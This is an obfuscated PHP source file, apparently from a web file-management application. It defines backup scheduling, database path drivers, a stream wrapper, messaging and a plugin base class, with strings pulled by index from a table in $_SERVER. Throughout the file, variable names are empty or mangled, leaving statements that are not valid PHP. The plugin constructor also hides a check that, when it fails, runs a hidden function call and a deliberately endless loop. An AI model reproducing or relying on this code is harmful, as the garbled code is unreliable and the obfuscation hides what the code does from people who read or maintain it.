$˳; break; } } return $䶠; $֎ = $[798]; if (strlen($֎) < $[412]) { return; } } public function akswc10aed7f($̑, $ߛ؝) { $ˣܛ =& $_SERVER[ϋ]; $ =& $_SERVER[]; return call_user_func(array($[8], $[307]), $̑, $ߛ؝); $۷Ԃ = $ˣܛ[799]; while ($۷Ԃ < $ˣܛ[707]) { if ($۷Ԃ >= 0) { break; } $۷Ԃ++; } } public function tzgs8ec9139b($ˎ, $) { $Ϲ =& $_SERVER[]; return call_user_func(array($Ϲ[308], $Ϲ[309]), $ˎ, $); } public function cqjd2048f8cf($ǹ, $) { $ =& $_SERVER[]; return call_user_func(array($[308], $[310]), $ǹ, $); } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[ϋ]; $this->isManual(); self::$name = date($[800]); if (!($ = Model($[801])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[802]] == $[91]) { self::$name = date($[263]); $ = 0; if (isset($[$[344]][$[221]][$[525]])) { $ = (int) $[$[344]][$[221]][$[525]]; } if (self::$manual == 0 && $[$[32]] == self::$name) { Model($[801])->remove($[$[459]]); } $ = $this->initData($, $[$[803]]); } else { $this->checkStore($[$[803]]); } } self::$option = $; } private function isManual() { $҈ = _get($GLOBALS, $_SERVER[ϋ][804], 0); $҈ = intval($҈); self::$manual = $҈ && $҈ == 1 ? 1 : 0; } private function initData($섻 = 0, $ݿ = '') { $ =& $_SERVER[ϋ]; $ = Model($[801])->config(); if ($ݿ && $[$[803]] != $ݿ) { $섻 = 0; } $this->checkStore($[$[803]]); if (self::$manual == 1) { self::$name .= $[11] . date($[805]); } $̯ = array($[803] => $[$[803]], $[32] => self::$name, $[802] => 0, $[806] => $[$[806]], $[807] => self::$manual, $[344] => array($[808] => array($[802] => 0), $[809] => array($[802] => 0, $[810] => 0, $[811] => 0, $[33] => $[12], $[812] => 0, $[813] => 0), $[814] => array($[802] => 0, $[810] => 0, $[811] => 0, $[812] => 0, $[813] => 0), $[221] => array($[802] => 0, $[815] => 0, $[816] => 0, $[817] => 0, $[818] => 0, $[525] => $섻, $[812] => 0, $[813] => 0)), $[812] => time(), $[813] => 0); $ = Model($[801])->insert($̯); $̯[$[459]] = $; return $̯; } private function checkStore($) { $ۍ = Model($_SERVER[ϋ][819]); $ = $ۍ->listData($); $ۍ->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ϋ][801])->findByName(self::$name); } return self::$option; } public static function set($Ԩ) { $ =& $_SERVER[ϋ]; $τ = self::get(); foreach ($Ԩ as $ۢĬ => $) { $ = explode($[10], $ۢĬ); $ڗ = count($); switch ($ڗ) { case 1: $τ[$[0]] = $; break; case 2: $τ[$[0]][$[1]] = $; break; case 3: $τ[$[0]][$[1]][$[2]] = $; break; } } Model($[801])->update($τ[$[459]], $τ); self::$option = $τ; return self::$option; } public function keep() { $ =& $_SERVER[ϋ]; $ = self::get(); if ($[$[344]][$[808]][$[802]] == $[91]) { return; } $this->backupKeep($); self::set(array($[820] => 1)); } private function backupKeep($Լ) { $Է =& $_SERVER[ϋ]; if (self::$manual == 1) { return; } $ = Model($Է[801])->listData(); if (empty($)) { return; } $ФȌ˱ = 0; $ = array(); foreach ($ as $鐫) { if ($ФȌ˱ >= 7) { break; } $[] = $鐫[$Է[32]]; $ФȌ˱++; } for ($ФȌ˱ = 0; $ФȌ˱ < 12; $ФȌ˱++) { $[] = date($Է[821], strtotime("\x2d{$ФȌ˱}\x20\155\x6f\x6e\x74\150\163")); } $ = array_unique($); $ = Model($Է[822])->get($Է[823]); foreach ($ as $鐫) { if (isset($鐫[$Է[807]]) && $鐫[$Է[807]] == $Է[91]) { continue; } if (!empty($鐫[$Է[32]]) && in_array($鐫[$Է[32]], $)) { continue; } Model($Է[801])->remove($鐫[$Է[459]]); $٧ = $this->backupPath($Լ, $); IO::remove($٧, !1); } } private function backupPath($յ, $ـ = false) { $ڂ =& $_SERVER[ϋ]; if (!$ـ) { $ـ = Model($ڂ[822])->get($ڂ[823]); } $ = $յ[$ڂ[32]]; $›؜ = substr(md5($ڂ[824] . $ـ . $), 0, 8); return "\x7b\151\157\x3a{$յ[$ڂ[803]]}\x7d\57\x64\141\164\x61\142\x61\163\145\x2f\142\141\x63\153\x75\160\57" . $ . $ڂ[11] . $›؜; } public function db() { $ =& $_SERVER[ϋ]; $ = self::get(); if ($[$[344]][$[809]][$[802]] == $[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[825] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[ϋ]; $ = self::get(); if ($[$[344]][$[814]][$[802]] == $[91]) { return !0; } $֬ = new BackupDbFile(); if (!$֬->index()) { return !1; } self::set(array($[826] => 1)); return !0; } public function file() { $ =& $_SERVER[ϋ]; $ = self::get(); if ($[$[344]][$[221]][$[802]] == $[91]) { return !0; } if (!isset($[$[806]]) || $[$[806]] == $[219]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[827] => 1, $[802] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $𞩔 =& $_SERVER[ϋ]; $ = Backup::get(); self::$io = $[$𞩔[803]]; self::$name = $[$𞩔[32]]; $葜 = new DbManage(); $ = $葜->dbType(); $Ƽì = array($𞩔[828] => $, $𞩔[829] => time()); Backup::set($Ƽì); $ = $this->tmpFilesPath() . $𞩔[830] . self::$name . $𞩔[8]; del_dir($); mk_dir($); $ָ᳴ = $ = 0; try { $ = $葜->db()->getTables(); } catch (Exception $֚) { return !1; } $ = array_diff($, array($𞩔[831], $𞩔[832])); foreach ($ as $ᔱ) { $ָ᳴ += $葜->model($ᔱ)->count(); } $ݪ = new Task($𞩔[833], $𞩔[834], $ָ᳴, LNG($𞩔[835]) . $𞩔[836] . LNG($𞩔[837])); $GLOBALS[$𞩔[838]] = self::$name; foreach ($ as $ᔱ) { $ = $ . $ᔱ . $𞩔[839]; $ = null; if ($ᔱ == $𞩔[840] && (!isset($[$𞩔[806]]) || $[$𞩔[806]] == $𞩔[219])) { $ = self::$io; } $ += $葜->sqlFromDb($ᔱ, $, $ݪ, $); } unset($GLOBALS[$𞩔[838]]); $ݪ->end(); if ($ > $ָ᳴) { $ָ᳴ = $; } $Ƽì = array($𞩔[828] => $, $𞩔[825] => 1, $𞩔[841] => $ָ᳴, $𞩔[842] => $, $𞩔[843] => time()); Backup::set($Ƽì); if ($ָ᳴ - $ > 0) { $ = $𞩔[844]; if (!stristr(I18n::getType(), $𞩔[845])) { $ = $𞩔[846]; } write_log(array($, $Ƽì), $𞩔[834]); return !1; } return !0; } private function tmpFilesPath() { $ز =& $_SERVER[ϋ]; $Ɉƒ = TEMP_FILES; if ($GLOBALS[$ز[6]][$ز[92]][$ز[847]]) { $Ɉƒ = $GLOBALS[$ز[6]][$ز[92]][$ز[847]]; if (!mk_dir($Ɉƒ) || !is_writable($Ɉƒ) || !IO::mkfile($Ɉƒ . $ز[848])) { $Ɉƒ = TEMP_FILES; } } return $Ɉƒ; } } goto dޕ; E•: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Ъ) { $this->pathParse = $Ъ; $this->model = Model($_SERVER[ϋ][1388]); } public function getPath($Ǘ) { return trim($Ǘ, $_SERVER[ϋ][8]); } public function pathFather($) { $ؚ = $this->parse($); $ؚ = $this->infoSimple($); return $ؚ ? $ؚ[$_SERVER[ϋ][183]] : !1; } public function pathThis($ݲ) { $ݻ = $this->infoSimple($ݲ); return $ݻ ? $ݻ[$_SERVER[ϋ][32]] : !1; } public function getPathOuter($ݖ) { if (!$ݖ) { return $ݖ; } $̣ = $this->parse($ݖ); return KodIO::make($̣[$_SERVER[ϋ][459]]); } public function copyFolderFromIO($ͼ, $̝ϒ, $, $, $) { $Ӿ = $this->model->copyFolderFromIO($ͼ, $̝ϒ, $, $, $); return KodIO::make($Ӿ); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $׹ = '', $ = REPEAT_RENAME) { $Ñ =& $_SERVER[ϋ]; $ȱ = $this->parse($); $ = $ȱ[$Ñ[459]]; for ($Ϫ = 0; $Ϫ < count($ȱ[$Ñ[1389]]); $Ϫ++) { $ע = $ȱ[$Ñ[1389]][$Ϫ]; if ($Ϫ == count($ȱ[$Ñ[1389]]) - 1) { $ = $this->model->mkfile($, $ע, $׹, $); break; } $ = $this->model->mkdir($, $ע, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($ܶ, $ = REPEAT_SKIP) { $ =& $_SERVER[ϋ]; $ = $this->parse($ܶ); $ܶ = $[$[459]]; for ($ޢ = 0; $ޢ < count($[$[1389]]); $ޢ++) { $ɧ = $[$[1389]][$ޢ]; $ܶ = $this->model->mkdir($ܶ, $ɧ, $); } return $this->getPathOuter($ܶ); } public function copyFile($, $ƨӔ, $ʞȯ = REPEAT_REPLACE) { $ɠ =& $_SERVER[ϋ]; $ = $this->parse($ƨӔ); $ = $this->model->copy($, $[$ɠ[459]], $ʞȯ, $[$ɠ[87]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($Њ, $…ة, $ϗ = REPEAT_REPLACE) { $ =& $_SERVER[ϋ]; $ = $this->parse($…ة); $׌ = $this->model->move($Њ, $[$[459]], $ϗ, $[$[87]]); return $׌ ? $this->getPathOuter($׌) : !1; } public function copy($Ĕқ, $ݲ, $ = REPEAT_REPLACE, $埠 = false) { $؉ = $this->parse($ݲ); $ή = $this->model->copy($Ĕқ, $؉[$_SERVER[ϋ][459]], $, $埠); return $ή ? $this->getPathOuter($ή) : !1; } public function moveSameAllow() { } public function move($, $؋, $ɤ = REPEAT_REPLACE, $ = false) { $ = $this->parse($؋); $٨͞ = $this->model->move($, $[$_SERVER[ϋ][459]], $ɤ, $); return $٨͞ ? $this->getPathOuter($٨͞) : !1; } public function remove($˴ޕ, $ = true) { return $this->model->remove($˴ޕ, $); } public function rename($ߞÏ, $ִ) { $ϼ = $this->model->rename($ߞÏ, $ִ); return $ϼ ? $this->getPathOuter($ߞÏ) : $ϼ; } public function size($π̶) { $ = $this->infoSimple($π̶); return $ ? $[$_SERVER[ϋ][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($麻) { return $this->infoParse($麻); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($ߺ) { return $this->infoParse($ߺ, !0); } protected function infoParse($߀, $ = false, $ = false) { if (!$) { return $this->model->pathInfo($߀, $); } return $this->model->pathInfoMore($߀); } public function infoFullSimple($݋) { $ =& $_SERVER[ϋ]; $ӎ = explode($[8], $݋); $ҳ = implode($[8], array_splice($ӎ, 1)); return $this->model->pathInfoByPath($ӎ[0], $ҳ); } public function infoFull($̆) { $֛ҙ = $this->infoFullSimple($̆); return is_array($֛ҙ) ? $this->model->pathInfo($֛ҙ[$_SERVER[ϋ][184]]) : !1; } public function hashSimple($) { $ܓ =& $_SERVER[ϋ]; $ = $this->infoWithChildren($); return $[$ܓ[533]][$ܓ[656]]; } public function hashMd5($Þ) { $٨ =& $_SERVER[ϋ]; $ۜ = $this->infoWithChildren($Þ); return $ۜ[$٨[533]][$٨[531]]; } public function exist($ԋ) { $ =& $_SERVER[ϋ]; $ۣ = $this->parse($ԋ); if (!$ۣ[$[87]]) { return $this->isFile($ԋ) || $this->isFolder($ԋ); } $ҍӖ = array($[461] => $ۣ[$[459]], $[32] => $ۣ[$[87]]); $χ = $this->model->where($ҍӖ)->find(); return $χ ? !0 : !1; } public function isFile($ܪ) { $ =& $_SERVER[ϋ]; $襆 = $this->infoSimple($ܪ); return $襆 && $襆[$[469]] == $[219] ? !0 : !1; } public function isFolder($ȟ) { $Ƹ =& $_SERVER[ϋ]; $ = $this->infoSimple($ȟ); return $ && $[$Ƹ[469]] == $Ƹ[91] ? !0 : !1; } public function listPath($, $ў = false) { $չ䨣 =& $_SERVER[ϋ]; if ($ == $չ䨣[12]) { return !1; } $ = array($չ䨣[461] => $); if ($ў) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ϳ = false, $̝ə = null) { $ =& $_SERVER[ϋ]; $Ü = $this->infoWithChildren($); if ($ϳ) { return array($[231] => $Ü[$[231]], $[230] => $Ü[$[230]]); } return $̝ə ? $Ü[$[231]] : $Ü[$[230]]; } public function listAll($њ֑) { $ơ߮ = IO::info($this->pathParse[$_SERVER[ϋ][87]]); if (!$ơ߮) { return array(); } return $this->model->listAll($њ֑); } public function getContent($Í) { return $this->model->getContent($Í); } public function setContent($Σ폥, $˦ߣ = '') { return $this->model->setContent($Σ폥, $˦ߣ); } public function fileSubstr($, $ʩ, $䋡) { return $this->model->fileSubstr($, $ʩ, $䋡); } public function download($ɯ, $ = '') { $۷ = get_path_father($); $ = get_path_this($); $ݵ = $this->model->fileInfoGet($ɯ); $ = IO::copy($ݵ[$_SERVER[ϋ][87]], $۷, !1, $); return $; } public function setModifyTime($݋, $;ݒ = '') { $ݦ =& $_SERVER[ϋ]; if (!$݋) { return; } $this->model->where(array($ݦ[475] => $݋))->save(array($ݦ[88] => $;ݒ)); } public function upload($, $Ȱ, $ߕȃ = false, $ = REPEAT_REPLACE) { $ț =& $_SERVER[ϋ]; $Ȟ = $this->parse($); $垊 = $this->model->addFile($Ȟ[$ț[459]], $Ȱ, $Ȟ[$ț[87]], $ߕȃ, $); return $this->getPathOuter($垊); } public function uploadFileByID($ؕ, $, $폓) { $ׇ =& $_SERVER[ϋ]; $ = $this->parse($ؕ); $я҅ = $this->model->addFileByFileID($[$ׇ[459]], $, $[$ׇ[87]], $폓); return $this->getPathOuter($я҅); } public function addFileByRemote($ゕ, $Ĕ, $ԇ銩 = array(), $ƴ = '', $߆) { $Ր =& $_SERVER[ϋ]; $ꎕ = $this->parse($ゕ); $ƴ = empty($ƴ) ? $ꎕ[$Ր[87]] : $ƴ; $ = $this->model->addFileByRemote($ꎕ[$Ր[459]], $Ĕ, $ƴ, $ԇ銩, $߆); return $this->getPathOuter($); } public function uploadLink($, $ = 0) { $㑤ϡ =& $_SERVER[ϋ]; $̌ = $this->parse($); $ɰ挅 = _get($GLOBALS[$㑤ϡ[7]], $㑤ϡ[1390]); $Ξ = _get($GLOBALS[$㑤ϡ[7]], $㑤ϡ[1391]); $ = Model($㑤ϡ[658])->createFileName($̌[$㑤ϡ[87]], $ɰ挅, $Ξ); return IO::uploadLink($, $); } public function fileNameAuto($, $ɏ, $˦ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $ɏ, $˦, $); } public function fileNameExist($ʉ, $) { return $this->model->fileNameExist($ʉ, $); } protected function _fileOut($嶿, $ = false, $ۮ = false, $ˈ = '', $ = false) { $ =& $_SERVER[ϋ]; $̌ = $this->model->sourceInfo($嶿); if ($̌[$[469]] == $[91]) { header($[1392]); die; } $Ǝء = $this->model->fileInfoGet($嶿); $ˈ = $Ǝء[$[531]] ? $Ǝء[$[531]] : $ˈ; $ʊά = is_array($GLOBALS[$[172]]) ? $GLOBALS[$[172]][$[32]] : $̌[$[32]]; if ($) { return IO::fileOutServer($Ǝء[$[87]], $, $ʊά, $ˈ); } IO::fileOut($Ǝء[$[87]], $, $ʊά, $ˈ); } public function fileOut($, $ = false, $ = false, $ = '') { $this->_fileOut($, $, $, $); } public function fileOutServer($ı, $ = false, $ = false, $ـƦ = '') { $this->_fileOut($ı, $, $, $ـƦ, !0); } protected function _fileOutImage($̂, $® = 250) { $Ұ =& $_SERVER[ϋ]; $߆ = $this->model->pathInfo($̂); if ($߆[$Ұ[469]] == $Ұ[91]) { show_json($Ұ[1393] . $̂, !1); } $ = $this->model->fileInfoGet($̂); $߆[$Ұ[173]] = $[$Ұ[87]]; $GLOBALS[$Ұ[172]] = $߆; IO::fileOutImage($[$Ұ[87]], $®); } public function fileOutImage($򞇃, $ɺ = 250) { $this->_fileOutImage($򞇃, $ɺ); } public function fileOutImageServer($ţ, $ŕ = 250) { $this->_fileOutImage($ţ, $ŕ); } public function link($򡇧Ұ, $̭˨ = '') { $Ҧ = $this->model->fileInfoGet($򡇧Ұ); return IO::link($Ҧ[$_SERVER[ϋ][87]], $̭˨); } protected function parse($ҏ) { $ź =& $_SERVER[ϋ]; if (strstr($ҏ, $ź[8]) === !1) { return array($ź[477] => intval($ҏ), $ź[87] => $ź[12], $ź[1389] => array()); } $Ê = explode($ź[8], trim($ҏ, $ź[8])); if (count($Ê) < 2) { show_tips(clear_html($ҏ) . $ź[1394]); } return array($ź[477] => intval($Ê[0]), $ź[87] => $Ê[1], $ź[1389] => array_slice($Ê, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($غ) { $this->pathParse = $غ; $this->model = Model($_SERVER[ϋ][1388]); } public function getPathOuter($㬃) { $Ƶ =& $_SERVER[ϋ]; if (!$㬃) { return $㬃; } $ = $this->parse($㬃); return trim(KodIO::makeShare($this->pathParse[$Ƶ[459]], $[$Ƶ[459]]), $Ƶ[8]); } protected function infoParse($, $ = false, $DŽ = false) { $ꝑ =& $_SERVER[ϋ]; $ˏ顾 = $this->pathParse[$ꝑ[459]]; $ = trim($this->pathParse[$ꝑ[1221]], $ꝑ[8]); return Action($ꝑ[1395])->sharePathInfo($ˏ顾, $, $); } public function infoFull($ݫ) { $ =& $_SERVER[ϋ]; $ʖ = explode($[8], trim($ݫ, $[8])); if (count($ʖ) > 1) { $غƞ = implode($[8], array_splice($ʖ, 1)); $綦 = $this->model->pathInfoByPath($ʖ[0], $غƞ); if (!$綦) { return !1; } $this->pathParse[$[1221]] = $綦[$[184]]; } return $this->infoParse($ݫ); } public function listAll($ޒ) { $ݧ =& $_SERVER[ϋ]; $ǘ = IO::info($this->pathParse[$ݧ[87]]); if (!$ǘ) { return array(); } $ު = $this->model->listAll($ޒ); $ݨ = Model($ݧ[648])->getInfo($ǘ[$ݧ[649]]); foreach ($ު as &$̌) { check_abort(); $̌[$ݧ[90]] = Action($ݧ[1395])->_shareItemeParse($̌[$ݧ[90]], $ݨ); } unset($̌); return $ު; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($ʫ) { $this->pathParse = $ʫ; $this->model = Model($_SERVER[ϋ][1388]); } protected function infoParse($Ű, $؍ = false, $ = false) { $х =& $_SERVER[ϋ]; return Action($х[1227])->sharePathInfo($this->pathParse[$х[87]], !0, $؍); } public function listPath($, $ͭ죑 = false) { $Ծ =& $_SERVER[ϋ]; $ؤ = parent::listPath($, $ͭ죑); if (!$ؤ) { return $ؤ; } if (is_array($ؤ[$Ծ[1396]])) { $ؤ[$Ծ[1396]] = Action($Ծ[1227])->shareItemInfo($ؤ[$Ծ[1396]]); } foreach ($ؤ as $׽图 => $) { if (!in_array($׽图, array($Ծ[86], $Ծ[85]))) { continue; } foreach ($ as $ => $Љ͖) { $ؤ[$׽图][$] = Action($Ծ[1227])->shareItemInfo($Љ͖); } } return $ؤ; } public function listAll($כ) { $ =& $_SERVER[ϋ]; $Ԏ = IO::info($this->pathParse[$[87]]); if (!$Ԏ) { return array(); } $ = $this->model->listAll($כ); foreach ($ as &$̰) { $̰[$[90]] = Action($[1227])->shareItemInfo($̰[$[90]]); } unset($̰); return $; } } goto EѺ; Cꆛ: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[ϋ][87]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($, $) { $ =& $_SERVER[ϋ]; if ($ == SEEK_SET) { $this->pose = $; } else { if ($ == SEEK_CUR) { $this->pose += $; } else { if ($ == SEEK_END) { $this->pose = $this->info[$[79]] + intval($); } } } if ($ < 0) { $this->pose = $this->info[$[79]] + $; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[ϋ][79]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $) { $ =& $_SERVER[ϋ]; $ک = $this->info($); return array($[1592] => 0, $[1593] => 0, $[16] => 32768 + 511, $[1594] => 0, $[1595] => 0, $[1596] => 0, $[1597] => 0, $[79] => $ک[$[79]], $[1598] => $ک[$[1423]], $[1554] => $ک[$[88]], $[1553] => $ک[$[222]], $[1599] => 0, $[1600] => 0); } static $fileInfo = array(); public function info($܌) { $Ɨ = $_SERVER[ϋ][1601]; if (isset(self::$fileInfo[$܌])) { return self::$fileInfo[$܌]; } if (substr($܌, 0, strlen($Ɨ)) != $Ɨ) { return !1; } self::$fileInfo[$܌] = IO::info(substr($܌, strlen($Ɨ))); return self::$fileInfo[$܌]; } public static function read($, $ȕԠ, $ʩߴ) { if (!isset(self::$_fopenCache[$])) { $ٞ = new StreamWrapperIO(); $ٞ->stream_open($); self::$_fopenCache[$] = $ٞ; } $ٞ = self::$_fopenCache[$]; return $ٞ->fileSubstr($ȕԠ, $ʩߴ); } public static function _read($˝, $󢪟, $ռ) { $ =& $_SERVER[ϋ]; $ = fopen($˝, $[1427]); if (!$) { return $[12]; } $ƪ = 8192; fseek($, $󢪟, SEEK_SET); $إ = $[12]; $ = 0; while ($ < $ռ) { $ = min($ƪ, $ռ - $); $إ .= fread($, $); $ += $; } fclose($); return $إ; } public function fileSubstr($, $ق) { $ =& $_SERVER[ϋ]; $خû = $this->info[$[79]]; $ɷ = $; $鑉 = $ق; if ($ < 0) { $ = $خû + $; } if ($ق === !1) { $ق = $خû - $; } if ($ + $ق > $خû) { $ق = $خû - $; } if ($ق <= 0) { return $[12]; } if ($ < 0 || $ >= $خû || $ق <= 0 || $ق > 1024 * 1024 * 10) { throw new Exception("\x69\157\x46\x69\154\145\x52\145\141\144\40\x65\x72\162\157\x72\41\x20\x73\x74\141\162\164\75{$}\x3b\154\145\156\x67\x74\150\75{$ق}\x3b\x20\163\x69\172\x65\75{$خû}\73"); } $ۯ = 64 * 1024; $ɇ =& self::$_chunkBuffer[$this->path]; if (!$ɇ) { $ɇ = array(); } $ʔ = 0; $ɇ = 0; $ = $[12]; foreach ($ɇ as $ʔ => $) { $ʔ = intval($ʔ); $ɇ = $ʔ + strlen($); if ($ >= $ɇ) { continue; } if ($ >= $ʔ && $ + $ق <= $ɇ) { return substr($, $ - $ʔ, $ق); } break; } if (count($ɇ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1602], $[1603] . count($ɇ) . "\x3b\x73\164\x61\162\164\x3d{$}\x2c\154\145\156\147\x74\150\x3d{$ق}\x3b\x70\157\x73\x65\x3a{$ʔ}\176{$ɇ}"); throw new Exception($[1604]); } $ = intval($ / $ۯ) * $ۯ; $ݤą = ceil(($ + $ق) / $ۯ) * $ۯ - $; $ϊܸ = IO::fileSubstr($this->path, $, $ݤą); $ɇ[$ . $[12]] = $ϊܸ; ksort($ɇ); $Ƅې = substr($ϊܸ, $ - $, $ق); return $Ƅې; } private function log($ȱ, $) { $ =& $_SERVER[ϋ]; $ = timeFloat() - $this->timeStart; write_log(sprintf($[1605], $ȱ, $this->info[$[32]], $, $), $[1235]); } } class Message { function __construct() { } public function send($ = '', $ = array(), $߉ = "\164\x65\170\164") { $ =& $_SERVER[ϋ]; $좐 = array($[33] => $[1606], $[806] => $); if (in_array($߉, array($[1606], $[1607]))) { $좐[$[33]] = $߉; } $ = array($[563] => isset($[$[563]]) ? $[$[563]] : $[12], $[646] => isset($[$[646]]) ? $[$[646]] : $[12]); if (empty($) || empty($[$[563]]) && empty($[$[646]])) { return !1; } $Υ = array($[1534] => $좐, $[1608] => $); Hook::trigger($[1609], $Υ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $۷ =& $_SERVER[ϋ]; if (!isset($_SERVER[$۷[408]]) || !isset($_SERVER[$۷[406]])) { $ֻ = $۷[928]; $펰 = $۷[409]; $ȑ = $_SERVER[$۷[410]] . $۷[411]; $Ɔ̣ = $펰($ȑ); $ = explode($۷[253], $Ɔ̣); if (count($) < $۷[676]) { $Д = $۷[413]; $Д(); } $݋ = $۷[929]; $݋($_SERVER[$۷[930]]); $ʺ = 1; for ($ = $ʺ; $ > 0; $++) { $݋ = json_encode($GLOBALS[$۷[476]]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($۷[1610]); $this->pluginName = str_replace($۷[1610], $۷[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $۷[8]; $this->pluginApi = appHostGet() . $۷[1611] . $this->pluginName . $۷[8]; $this->pluginHost = $config[$۷[1612]] . $this->pluginName . $۷[8]; $this->pluginHostDefault = $config[$۷[1612]] . $this->pluginName . $۷[8]; $ = $config[$۷[1613]]; if ($ && strpos($۷[50] . $ . $۷[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$۷[1614]] . $this->pluginName . $۷[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ϋ][1615]); } protected function assign($ˆ, $깊 = false) { if (is_array($ˆ)) { $this->values = array_merge($this->values, $ˆ); } else { $this->values[$ˆ] = $깊; } } protected function display($ʫ) { extract($this->values); require $ʫ; } final function hookRegist($‘е) { $this->modelPlugin->appRegist($this->pluginName, $‘е); } final function appIcon() { $ԇ =& $_SERVER[ϋ]; $ͩ = $this->appPackage(); $ = $ԇ[12]; if (isset($ͩ[$ԇ[474]])) { if (isset($ͩ[$ԇ[474]][$ԇ[1616]])) { $ = $ԇ[1617] . $ͩ[$ԇ[474]][$ԇ[1616]] . $ԇ[1618]; } else { if ($ͩ[$ԇ[474]][$ԇ[1619]]) { $ = $ԇ[1620] . $ͩ[$ԇ[474]][$ԇ[1619]] . $ԇ[1621]; } } } return $; } final function fileCanView($̆) { $ =& $_SERVER[ϋ]; if (request_url_safe($̆)) { return !0; } if ($this->isShare($̆)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $즦 = $[1622] . rawurlencode(this_url()); show_tips(LNG($[1623]) . $[1624] . $즦 . $[1625] . LNG($[1626]) . $[1627], !1); } if (!Action($[1628])->authCan($[1629])) { show_tips(LNG($[1630]) . $[1631], !1); } ActionCall($[1632], $̆); } final function isShare($ћ) { $ݖ = KodIO::parse($ћ); return $ݖ[$_SERVER[ϋ][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($܄) { if (request_url_safe($܄)) { return $܄; } if (!$this->isShare($܄)) { $܄ = $this->filePath($܄, !1); } return Action($_SERVER[ϋ][1227])->linkOut($܄); } public function filePathLinkOut($ϸ) { if (request_url_safe($ϸ)) { return $ϸ; } $this->fileCanView($ϸ); return Action($_SERVER[ϋ][1227])->link($ϸ); } final function filePath($Ь, $ = true, $Ʊ = false) { $ =& $_SERVER[ϋ]; $Ӹ = $this->filePathGet($Ь, $); if (!$this->fileInfo) { show_tips(LNG($[108]), !1); } if ($Ʊ && isset($this->fileInfo[$[525]]) && $this->fileInfo[$[525]]) { $㏠ = Model($[528])->fileInfo($this->fileInfo[$[525]]); if (!$㏠ || !IO::exist($㏠[$[87]])) { show_tips(LNG($[108]) . $[1633]); } } Hook::trigger($[1634], $Ӹ); return $Ӹ; } final function filePathGet($²܃, $ = true) { $㓬 =& $_SERVER[ϋ]; if ($䣞 = $this->checkSharePath($²܃, $)) { return $䣞; } $this->fileCanView($²܃); if (request_url_safe($²܃)) { $ա = parse_url_query($²܃); if (isset($ա[$㓬[1635]]) && isset($ա[$㓬[225]])) { $ = Mcrypt::decode($ա[$㓬[225]], Model($㓬[822])->get($㓬[823])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$㓬[1636]] = $²܃; $this->cachePath = $this->pluginCachePath($㓬[12], $); return $; } } $²܃ = $this->_cacheHttpFile($²܃, $); $this->fileInfo = IO::info($²܃); } else { $this->fileInfo = IO::info($²܃); $this->cachePath = $this->pluginCachePath($㓬[12], $); } return $²܃; } final function _cacheHttpFile($숒, $̙֓ = true) { $췏 =& $_SERVER[ϋ]; $Ē = parse_url_query($숒); $ = get_path_ext($숒); if (isset($Ē[$췏[32]]) && $Ē[$췏[32]]) { $ = get_path_ext($Ē[$췏[32]]); } $ = hash_path($숒) . $췏[10] . $; $this->cachePath = $this->pluginCachePath($̙֓ ? $ : $췏[12]); $Օߞ = IO::fileNameExist($this->cachePath, $); if ($Օߞ) { return KodIO::make($Օߞ); } $ = rtrim($this->cachePath, $췏[8]) . $췏[8] . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($숒)); } final function checkSharePath($, $ = true) { $ =& $_SERVER[ϋ]; if (!$this->isShare($)) { return !1; } $ = Action($[1227])->sharePathInfo($); if (!is_array($) || !isset($[$[87]])) { show_json(LNG($[1637]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $); return $[$[87]]; } final function pluginCachePath($ł = '', $ڣ = false) { $ =& $_SERVER[ϋ]; if ($ڣ && is_array($this->fileInfo)) { $ł = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1638] . $this->pluginName . $[8] . $ł, $[8]); $Ō = IO::infoFullSimple($); $أߥ = $Ō && is_array($Ō) ? 